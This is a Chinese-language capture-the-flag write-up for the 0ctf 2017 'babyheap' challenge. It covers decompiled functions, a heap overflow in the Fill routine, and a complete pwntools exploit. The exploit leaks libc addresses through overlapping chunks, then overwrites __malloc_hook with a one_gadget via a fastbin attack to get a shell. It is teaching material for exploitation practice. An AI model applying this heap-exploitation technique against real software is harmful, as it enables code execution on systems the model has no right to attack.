babyheap 0ctf 2017
# babyheap 0ctf 2017
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/babyheap_0ctf_2017/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = init_heap();
while ( 1 )
{
menu();
switch ( get_number(); )
{
case 1uLL:
Allocate(v4);
break;
case 2uLL:
Fill(v4);
break;
case 3uLL:
Free(v4);
break;
case 4uLL:
Dump(v4);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Allocate函数如下:
void __fastcall Allocate(heap *heap)
{
signed int index; // [rsp+10h] [rbp-10h]
signed int size; // [rsp+14h] [rbp-Ch]
void *content; // [rsp+18h] [rbp-8h]
for ( index = 0; index <= 15; ++index ) // 最多15个堆块
{
if ( !LODWORD(heap[index].isUse) )
{
printf("Size: ");
size = get_number();
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
content = calloc(size, 1uLL);
if ( !content )
exit(-1);
LODWORD(heap[index].isUse) = 1; // isUse
heap[index].size = size; // size
heap[index].content = content; // content
printf("Allocate Index %d\n", index);
}
return;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Fill函数如下:
__int64 __fastcall Fill(heap *heap)
{
__int64 index; // rax
int v1; // [rsp+18h] [rbp-8h]
int size; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
index = get_number();
v1 = index;
if ( index >= 0 && index <= 15 )
{
index = LODWORD(heap[index].isUse);
if ( index == 1 )
{
printf("Size: ");
index = get_number();
size = index;
if ( index > 0 )
{
printf("Content: ");
index = read_content(heap[v1].content, size); // 堆溢出
}
}
}
return index;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Free函数如下:
__int64 __fastcall Free(heap *heap)
{
__int64 number; // rax
int index; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
number = get_number();
index = number;
if ( number >= 0 && number <= 15 )
{
number = LODWORD(heap[number].isUse);
if ( number == 1 )
{
LODWORD(heap[index].isUse) = 0;
heap[index].size = 0LL;
free(heap[index].content);
number = &heap[index];
*(number + 16) = 0LL;
}
}
return number;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Dump函数如下:
signed int __fastcall Dump(heap *ptr)
{
signed int number; // eax
signed int index; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
number = get_number();
index = number;
if ( number >= 0 && number <= 15 )
{
number = ptr[number].isUse;
if ( number == 1 )
{
puts("Content: ");
write_content(ptr[index].content, ptr[index].size);
number = puts(byte_14F1);
}
}
return number;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
one_gadget如下:
one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 思路分析
目前信息:
Fill
函数存在堆溢出点- Full RELRO
- Canary found
- NX enabled
- PIE enabled
思路:
Dump
函数可以打印堆内容,利用此特性与堆溢出的点构造重叠的Unsorted Bin
块释放后泄漏main_arena
及malloc_hook
地址,接着fastbin attack
修改malloc_hook
为one_gadget
地址,最后申请堆块获得shell
# exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/babyheap_0ctf_2017/babyheap_0ctf_2017'
io = remote('node4.buuoj.cn', 26469)
# io = process(pwnfile)
elf = ELF('/root/pwn/buuctf/babyheap_0ctf_2017/libc-2.23.so')
def Allocate(io, size):
io.sendlineafter('Command: ', '1')
io.sendlineafter('Size: ', str(size))
def Fill(io, index, content):
io.sendlineafter('Command: ', '2')
io.sendlineafter('Index: ', str(index))
io.sendlineafter('Size: ', str(len(content)))
io.sendlineafter('Content: ', content)
def Free(io, index):
io.sendlineafter('Command: ', '3')
io.sendlineafter('Index: ', str(index))
def Dump(io, index):
io.sendlineafter('Command: ', '4')
io.sendlineafter('Index: ', str(index))
Allocate(io, 0x10) # 0
Allocate(io, 0x80) # 1
Allocate(io, 0x80) # 2
Allocate(io, 0x10) # 3 防止与top thunk合并
Fill(io, 0, flat([cyclic(0x18), 0x121]))
Free(io, 1)
Allocate(io, 0x80) # 1
Dump(io, 2)
# 修改1块的size为1+2块的大小(包含head),free掉1块后再拿回来
# 导致Unsorted Bin分割了一块,并在剩余的块中填充控制信息fd,bk等
# 而剩余块刚好就是2块,dump2块可以泄漏fd与bk指针
malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x58-0x10
log.success("malloc_hook addr:"+hex(malloc_hook))
# 泄漏malloc_hook地址
libc_base = malloc_hook-elf.symbols['__malloc_hook']
one_gadget = libc_base+0x4526a
# 以下为fastbin attcak
Allocate(io, 0x80) # 4~2 这个其实是2块
Allocate(io, 0x10) # 5
Allocate(io, 0x60) # 6
Free(io, 6)
Fill(io, 5, flat([cyclic(0x18), 0x71, malloc_hook-0x23]))
# 多偏移0x13的位置利用7f绕过fastbin检测
Allocate(io, 0x60) # 6
Allocate(io, 0x60) # 7
Fill(io, 7, flat([cyclic(0x13), one_gadget]))
Allocate(io, 0x10)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
上次更新: 2022/08/15, 00:29:49